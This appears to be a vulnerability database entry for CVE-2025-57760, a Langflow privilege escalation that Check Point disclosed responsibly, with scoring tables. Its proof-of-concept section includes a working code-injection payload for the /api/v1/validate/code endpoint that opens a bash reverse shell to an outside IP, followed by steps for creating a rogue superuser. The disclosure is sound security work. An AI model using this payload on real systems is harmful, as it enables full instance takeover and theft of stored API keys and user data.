Advisory details:
github_osv / GHSA-4gv9-mp8m-592r
| Advisory ID | github_osv/GHSA-4gv9-mp8m-592r |
| Aliases |
CVE-2025-57760
|
| Summary | Langflow Vulnerable to Privilege Escalation via CLI Superuser Creation (Post-RCE) This vulnerability was discovered by researchers at **Check Point**. We are sharing this report as part of a responsible disclosure process and are happy to assist in validation and remediation if needed. ### Summary A privilege escalation vulnerability exists in Langflow containers where an authenticated user with RCE access can invoke the internal CLI command **langflow superuser** to create a new administrative user. This results in full superuser access, even if the user initially registered through the UI as a regular (non-admin) account. ### Details Langflow's Docker image includes a CLI binary at /app/.venv/bin/langflow that exposes sensitive commands, including: `langflow superuser` This command allows creation of a new superuser without checking whether one already exists. When combined with code execution (e.g., via the authenticated **/api/v1/validate/code** endpoint), a low-privileged user can execute: `/app/.venv/bin/langflow superuser` inside the container, and elevate themselves to full superuser privileges. This effectively bypasses frontend role enforcement and backend user integrity, leading to full compromise of the Langflow application. ### PoC 1. Start container with LANGFLOW_ENABLE_AUTH set to True. 2. Visit http://localhost:7860 and sign up. (Your user will not be marked is_superuser.) <img width="1311" height="627" alt="image" src="https://github.com/user-attachments/assets/9b75bdc3-31ea-48c0-9e84-c2b168f404b3" /> 3. Exploit /api/v1/validate/code to get reverse shell Send an authenticated POST request: ``` { "code": "def foo(p=__import__('os').system(\"bash -c 'bash -i >& /dev/tcp/192.168.1.22/4444 0>&1'\")):\n pass" } ``` 4. Inside reverse shell, create superuser: <img width="731" height="217" alt="image" src="https://github.com/user-attachments/assets/cb8497c6-0d61-414e-afe2-69bbbaf55cbc" /> 5. Log into UI as new superuser: <img width="1262" height="532" alt="image" src="https://github.com/user-attachments/assets/1f0a713d-3d61-4aa4-a25b-58f4b58c061b" /> ### Impact - Privilege escalation to superuser — complete takeover of the Langflow instance - Access to all user data, flows, stored credentials, and configuration - Credential leakage — attacker can extract third-party API keys - Exposure of environment variables (inside docker container) - Ability to run additional Langflow instances via `langflow run` inside the container, which may lead to resource exhaustion (CPU, memory) and service degradation. - Full user management — superuser can delete other users, reset their passwords |
| Status | Published |
| Exploitability | 0.5 |
| Weighted Severity | 7.9 |
| Risk | 4.0 |
| Affected and Fixed Packages | Package Details |
| Introduced and Fixed Package Commit Patches | Package Commit Patches Details |
| CWE-269 | Improper Privilege Management |
| System | Score | Found at |
|---|---|---|
| cvssv3.1 | 8.8 | https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/08/GHSA-4gv9-mp8m-592r/GHSA-4gv9-mp8m-592r.json |
| generic_textual | HIGH |
No EPSS data available for this advisory.
| Patch URL | |
|---|---|
| There are no known patches. | |
| Attack Vector (AV) | Attack Complexity (AC) | Privileges Required (PR) | User Interaction (UI) | Scope (S) | Confidentiality Impact (C) | Integrity Impact (I) | Availability Impact (A) |
|---|---|---|---|---|---|---|---|
network adjacent_network local physical |
low high |
none low high |
none required |
unchanged changed |
high low none |
high low none |
high low none |
Vector: SSVCv2/E:P/A:N/T:T/P:M/B:A/M:M/D:R/2025-08-25T20:34:06Z/
Decision: Track*
Source URL: https://github.com/cisagov/vulnrichment/blob/develop/2025/57xxx/CVE-2025-57760.json
Source Advisory: vulnrichment/CVE-2025-57760
[{'Exploitation': 'poc'},
{'Automatable': 'no'},
{'Technical Impact': 'total'},
{'Mission Prevalence': 'minimal'},
{'Public Well-being Impact': 'material'},
{'Mission & Well-being': 'medium'}]